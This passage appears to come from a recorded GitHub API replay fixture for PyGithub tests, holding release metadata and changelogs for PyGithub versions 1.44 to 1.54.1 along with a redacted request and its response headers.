,"published_at":"2020-12-24T05:39:10Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54.1","body":"* Pin pyjwt version (#1797) (31a1c007)\r\n* Add pyupgrade to pre-commit configuration (#1783) (e113e37d)\r\n* Fix #1731: Incorrect annotation (82c349ce)\r\n* Drop support for Python 3.5 (#1770) (63e4fae9)\r\n* Revert \"Pin requests to <2.25 as well (#1757)\" (#1763) (a806b523)\r\n* Fix stubs file for Repository (fab682a5)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/34560445","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/34560445/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/34560445/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54","id":34560445,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTM0NTYwNDQ1","tag_name":"v1.54","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-11-30T05:43:49Z","published_at":"2020-11-30T05:50:58Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54","body":"**Important**\r\n\r\nThis is the last release that will support Python 3.5.\r\n\r\n**Breaking Changes**\r\n\r\nThe Github.get_installation(integer) method has been removed.\r\nRepository.create_deployment()'s payload parameter is now a dictionary.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Add support for Check Suites (#1764) (6d501b28)\r\n* Add missing preview features of Deployment and Deployment Statuses API (#1674) (197e0653)\r\n* Correct typing for Commit.get_comments() (#1765) (fcdd9eae)\r\n* Pin requests to <2.25 as well (#1757) (d159425f)\r\n* Add Support for Check Runs (#1727) (c77c0676)\r\n* Added a method for getting a user by their id (#1691) (4cfc9912)\r\n* Fix #1742 - incorrect typehint for `Installation.id` (#1743) (546f6495)\r\n* Add WorkflowRun.workflow_id (#1737) (78a29a7c)\r\n* Add support for Python 3.9 (#1735) (1bb18ab5)\r\n* Added support for the Self-Hosted actions runners API (#1684) (24251f4b)\r\n* Fix Branch protection status in the examples (#1729) (88800844)\r\n* Filter the DeprecationWarning in Team tests (#1728) (23f47539)\r\n* Added get_installations() to Organizations (#1695) (b42fb244)\r\n* Fix #1507: Add new Teams: Add or update team repository endpoint (#1509) (1c55be51)\r\n* Added support for `Repository.get_workflow_runs` parameters (#1682) (c23564dd)\r\n* feat(pullrequest): add the rebaseable attribute (#1690) (ee4c7a7e)\r\n* Add support for deleting reactions (#1708) (f7d203c0)\r\n* Correct type hint for InputGitTreeElement.sha (08b72b48)\r\n* Ignore new black formatting commit for git blame (#1680) (7ec4f155)\r\n* Format with new black (#1679) (07e29fe0)\r\n* Add get_timeline() to Issue's type stubs (#1663) (6bc9ecc8)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29803578","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29803578/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/29803578/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.53","id":29803578,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI5ODAzNTc4","tag_name":"v1.53","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-08-18T08:15:44Z","published_at":"2020-08-18T08:21:50Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.53","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.53","body":"* Test Organization.get_hook() (#1660) (2646a98c)\r\n* Add method get_team_membership for user to Team (#1658) (749e8d35)\r\n* Add typing files for OAuth classes (#1656) (429fcc73)\r\n* Fix Repository.create_repository_dispatch type signature (#1643) (f891bd61)\r\n* PaginatedList's totalCount is 0 if no last page (#1641) (69b37b4a)\r\n* Add initial support for Github Apps. (#1631) (260558c1)\r\n* Correct **kwargs typing for search_* (#1636) (165d995d)\r\n* Add delete_branch_on_merge arg to Repository.edit type stub (#1639) (15b5ae0c)\r\n* Fix type stub for MainClass.get_user (#1637) (8912be64)\r\n* Add type stub for Repository.create_fork (#1638) (de386dfb)\r\n* Correct Repository.create_pull typing harder (#1635) (5ad091d0)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29219442","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29219442/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/29219442/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.52","id":29219442,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI5MjE5NDQy","tag_name":"v1.52","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-08-03T08:45:52Z","published_at":"2020-08-03T08:47:09Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.52","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.52","body":"* upload_asset with data in memory (#1601) (a7786393)\r\n* Make Issue.closed_by nullable (#1629) (06dae387)\r\n* Add support for workflow dispatch event (#1625) (16850ef1)\r\n* Do not check reaction_type before sending (#1592) (136a3e80)\r\n* Various Github Action improvement (#1610) (416f2d0f)\r\n* more flexible header splitting (#1616) (85e71361)\r\n* Create Dependabot config file (#1607) (e272f117)\r\n* Add support for deployment statuses (#1588) (048c8a1d)\r\n* Adds the 'twitter_username' attribute to NamedUser. (#1585) (079f75a7)\r\n* Create WorkflowRun.timing namedtuple from the dict (#1587) (1879518e)\r\n* Add missing properties to PullRequest.pyi (#1577) (c84fad81)\r\n* Add support for Workflow Runs (#1583) (4fb1d23f)\r\n* More precise typing for Repository.create_pull (#1581) (4ed7aaf8)\r\n* Update sphinx-rtd-theme requirement from <0.5 to <0.6 (#1563) (f9e4feeb)\r\n* More precise typing for MainClass.get_user() (#1575) (3668f866)\r\n* Small documentation correction in Repository.py (#1565) (f0f6ec83)\r\n* Remove \"api_preview\" parameter from type stubs and docstrings\r\n (#1559) (cc1b884c)\r\n* Upgrade actions/setup-python to v2 (#1555) (6f1640d2)\r\n* Clean up tests for GitReleaseAsset (#1546) (925764ad)\r\n* Repository.update_file() content also accepts bytes (#1543) (9fb8588b)\r\n* Fix Repository.get_issues stub (#1540) (b40b75f8)\r\n* Check all arguments of NamedUser.get_repos() (#1532) (69bfc325)\r\n* Correct Workflow typing (#1533) (f41c046f)\r\n* Remove RateLimit.rate (#1529) (7abf6004)\r\n* PullRequestReview is not a completable object (#1528) (19fc43ab)\r\n* Test more attributes (#1526) (52ec366b)\r\n* Remove pointless setters in GitReleaseAsset (#1527) (1dd1cf9c)\r\n* Drop some unimplemented methods in GitRef (#1525) (d4b61311)\r\n* Remove unneeded duplicate string checks in Branch (#1524) (61b61092)\r\n* Turn on coverage reporting for codecov (#1522) (e79b9013)\r\n* Drastically increase coverage by checking repr() (#1521) (291c4630)\r\n* Fixed formatting of docstrings for `Repository.create_git_tag_and_release()`\r\n and `StatsPunchCard`. (#1520) (ce400bc7)\r\n* Remove Repository.topics (#1505) (53d58d2b)\r\n* Small improvements to typing (#1517) (7b20b13d)\r\n* Correct Repository.get_workflows() (#1518) (8727003f)\r\n* docs(repository): correct releases link (#1514) (f7cc534d)\r\n* correct Repository.stargazers_count return type to int (#1513) (b5737d41)\r\n* Fix two RST warnings in Webhook.rst (#1512) (5a8bc203)\r\n* Filter FutureWarning for 2 test cases (#1510) (09a1d9e4)\r\n* Raise a FutureWarning on use of client_{id,secret} (#1506) (2475fa66)\r\n* Improve type signature for create_from_raw_data (#1503) (c7b5eff0)\r\n* feat(column): move, edit and delete project columns (#1497) (a32a8965)\r\n* Add support for Workflows (#1496) (a1ed7c0e)\r\n* Add create_repository_dispatch to typing files (#1502) (ba9d59c2)\r\n* Add OAuth support for GitHub applications (4b437110)\r\n* Create AccessToken entity (4a6468aa)\r\n* Extend installation attributes (61808da1)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/26107841","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/26107841/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/26107841/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.51","id":26107841,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI2MTA3ODQx","tag_name":"v1.51","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-05-02T16:59:08Z","published_at":"2020-05-02T17:00:02Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.51","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.51","body":"* Type stubs are now packaged with the build (#1489) (6eba4506)\r\n* Travis CI is now dropped in favor of Github workflow (#1488) (d6e77ba1)\r\n* Get the project column by id (#1466) (63855409)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/25890896","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/25890896/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/25890896/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.50","id":25890896,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI1ODkwODk2","tag_name":"v1.50","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-04-26T08:48:26Z","published_at":"2020-04-26T08:51:01Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.50","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.50","body":"**New features**\r\n\r\n* PyGithub now supports type checking thanks to (#1231) (91433fe9)\r\n* Slack is now the main channel of communication rather than Gitter (6a6e7c26)\r\n* Ability to retrieve public events (#1481) (5cf9950b)\r\n* Add and handle the maintainer_can_modify attribute in PullRequest (#1465) (e0997b43)\r\n* List matching references (#1471) (d3bc6a5c)\r\n* Add create_repository_dispatch (#1449) (edcbdfda)\r\n* Add some Organization and Repository attributes. (#1468) (3ab97d61)\r\n* Add create project method (801ea385)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Drop use of shadow-cat for draft PRs (#1469) (84bb69ab)\r\n* AuthenticatedUser.get_organization_membership() should be str (#1473) (38b34db5)\r\n* Drop documentation for len() of PaginatedList (#1470) (70462598)\r\n* Fix param name of projectcard's move function (#1451) (bafc4efc)\r\n* Correct typos found with codespell (#1467) (83bef0f7)\r\n* Export IncompletableObject in the github namespace (#1450) (0ebdbb26)\r\n* Add GitHub Action workflow for checks (#1464) (f1401c15)\r\n* Drop unneeded ignore rule for flake8 (#1454) (b4ca9177)\r\n* Use pytest to parametrize tests (#1438) (d2e9bd69)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/24534063","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/24534063/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/24534063/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.47","id":24534063,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI0NTM0MDYz","tag_name":"v1.47","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-03-15T02:01:20Z","published_at":"2020-03-15T05:49:11Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.47","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.47","body":"**Bug Fixes & Improvements**\r\n\r\n* Add support to edit and delete a project (#1434) (f11f7395)\r\n* Add method for fetching pull requests associated with a commit (#1433) (0c55381b)\r\n* Add \"get_repo_permission\" to Team class (#1416) (219bde53)\r\n* Add list projects support, update tests (#1431) (e44d11d5)\r\n* Don't transform completely in PullRequest.*assignees (#1428) (b1c35499)\r\n* Add create_project support, add tests (#1429) (bf62f752)\r\n* Add draft attribute, update test (bd285248)\r\n* Docstring for Repository.create_git_tag_and_release (#1425) (bfeacded)\r\n* Create a tox docs environment (#1426) (b30c09aa)\r\n* Add Deployments API (#1424) (3d93ee1c)\r\n* Add support for editing project cards (#1418) (425280ce)\r\n* Add draft flag parameter, update tests (bd0211eb)\r\n* Switch to using pytest (#1423) (c822dd1c)\r\n* Fix GitMembership with a hammer (#1420) (f2939eb7)\r\n* Add support to reply to a Pull request comment (#1374) (1c82573d)\r\n* PullRequest.update_branch(): allow expected_head_sha to be empty (#1412) (806130e9)\r\n* Implement ProjectCard.delete() (#1417) (aeb27b78)\r\n* Add pre-commit plugin for black/isort/flake8 (#1398) (08b1c474)\r\n* Add tox (#1388) (125536fe)\r\n* Open file in text mode in scripts/add_attribute.py (#1396) (0396a493)\r\n* Silence most ResourceWarnings (#1393) (dd31a706)\r\n* Assert more attributes in Membership (#1391) (d6dee016)\r\n* Assert on changed Repository attributes (#1390) (6e3ceb19)\r\n* Add reset to the repr for Rate (#1389) (0829af81)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/23553566","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/23553566/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/23553566/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.46","id":23553566,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIzNTUzNTY2","tag_name":"v1.46","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-02-11T01:33:45Z","published_at":"2020-02-11T01:40:08Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.46","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.46","body":"**Important**\r\n\r\nPython 2 support has been removed. If you still require Python 2, use 1.45.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Add repo edit support for delete_branch_on_merge (#1381) (9564cd4d)\r\n* Fix mistake in Repository.create_fork() (#1383) (ad040baf)\r\n* Correct two attributes in Invitation (#1382) (882fe087)\r\n* Search repo issues by string label (#1379) (4ae1a1e5)\r\n* Correct Repository.create_git_tag_and_release() (#1362) (ead565ad)\r\n* exposed seats and filled_seats for Github Organization Plan (#1360) (06a300ae)\r\n* Repository.create_project() body is optional (#1359) (0e09983d)\r\n* Implement move action for ProjectCard (#1356) (b11add41)\r\n* Tidy up ProjectCard.get_content() (#1355) (dd80a6c0)\r\n* Added nested teams and parent (#1348) (eacabb2f)\r\n* Correct parameter for Label.edit (#1350) (16e5f989)\r\n* doc: example of Pull Request creation (#1344) (d5ad09ae)\r\n* Fix PyPI wheel deployment (#1330) (4561930b)"}] https GET api.github.com None /repositories/3544490/releases?per_page=10&page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"85c9c22a03038f1fc35f595b7645182b54bc8e3619e278c2a091207a8132a77d"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4638'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '362'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA78:10B15:6AEF3CC:6CE8100:61DC5706')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/22500330","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/22500330/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/22500330/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.45","id":22500330,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIyNTAwMzMw","tag_name":"v1.45","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-12-29T03:48:30Z","published_at":"2019-12-29T03:51:35Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.45","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.45","body":"**Important**\r\n\r\n* This is the last release of PyGithub that will support Python 2.\r\n\r\n**Breaking Changes**\r\n\r\n* Branch.edit_{user,team}_push_restrictions() have been removed\r\n* The new API is:\r\n - Branch.add_{user,team}_push_restrictions() to add new members\r\n - Branch.replace_{user,team}_push_restrictions() to replace all members\r\n - Branch.remove_{user,team}_push_restrictions() to remove members\r\n* The api_preview parameter to Github() has been removed.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Allow sha=None for InputGitTreeElement (#1327) (60464f65)\r\n* Support github timeline events. (#1302) (732fd26a)\r\n* Update link to GitHub Enterprise in README (#1324) (e1537f79)\r\n* Cleanup travis config (#1322) (8189a538)\r\n* Add support for update branch (#1317) (baddb719)\r\n* Refactor Logging tests (#1315) (b0ef1909)\r\n* Fix rtd build (b797cac0)\r\n* Add .git-blame-ignore-revs (573c674b)\r\n* Apply black to whole codebase (#1303) (6ceb9e9a)\r\n* Fix class used returning pull request comments (#1307) (f8e33620)\r\n* Support for create_fork (#1306) (2ad51f35)\r\n* Use Repository.get_contents() in tests (#1301) (e40768e0)\r\n* Allow GithubObject.update() to be passed headers (#1300) (989b635e)\r\n* Correct URL for assignees on PRs (#1296) (3170cafc)\r\n* Use inclusive ordered comparison for 'parameterized' requirement (#1281) (fb19d2f2)\r\n* Deprecate Repository.get_dir_contents() (#1285) (21e89ff1)\r\n* Apply some polish to manage.sh (#1284) (3a723252)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/21274492","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/21274492/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/21274492/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.44.1","id":21274492,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIxMjc0NDky","tag_name":"v1.44.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-11-07T01:44:10Z","published_at":"2019-11-07T01:50:38Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.44.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.44.1","body":"* Add Python 3.8 to classifiers list (#1280) (fec6034a)\r\n* Expand Topic class and add test coverage (#1252) (ac682742)\r\n* Add support for team discussions (#1246) (#1249) (ec3c8d7b)\r\n* Correct API for NamedUser.get_organization_membership (#1277) (077c80ba)\r\n* Correct header check for 2FA required (#1274) (6ad592b1)\r\n* Use replay framework for Issue142 test (#1271) (4d258d93)\r\n* Sync httpretty version requirement with setup.py (#1265) (99d38468)\r\n* Handle unicode strings when recording responses (#1253) (#1254) (faa1bbd6)\r\n* Add assignee removal/addition support to PRs (#1241) (a163ba15)\r\n* Check if the version is empty in manage.sh (#1268) (db294837)\r\n* Encode content for {create,update}_file (#1267) (bc225f9d)\r\n* Update changes.rst (#1263) (d7947d82)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/20822625","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/20822625/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/20822625/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.44","id":20822625,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIwODIyNjI1","tag_name":"v1.44","target_commitish":"master","name":"",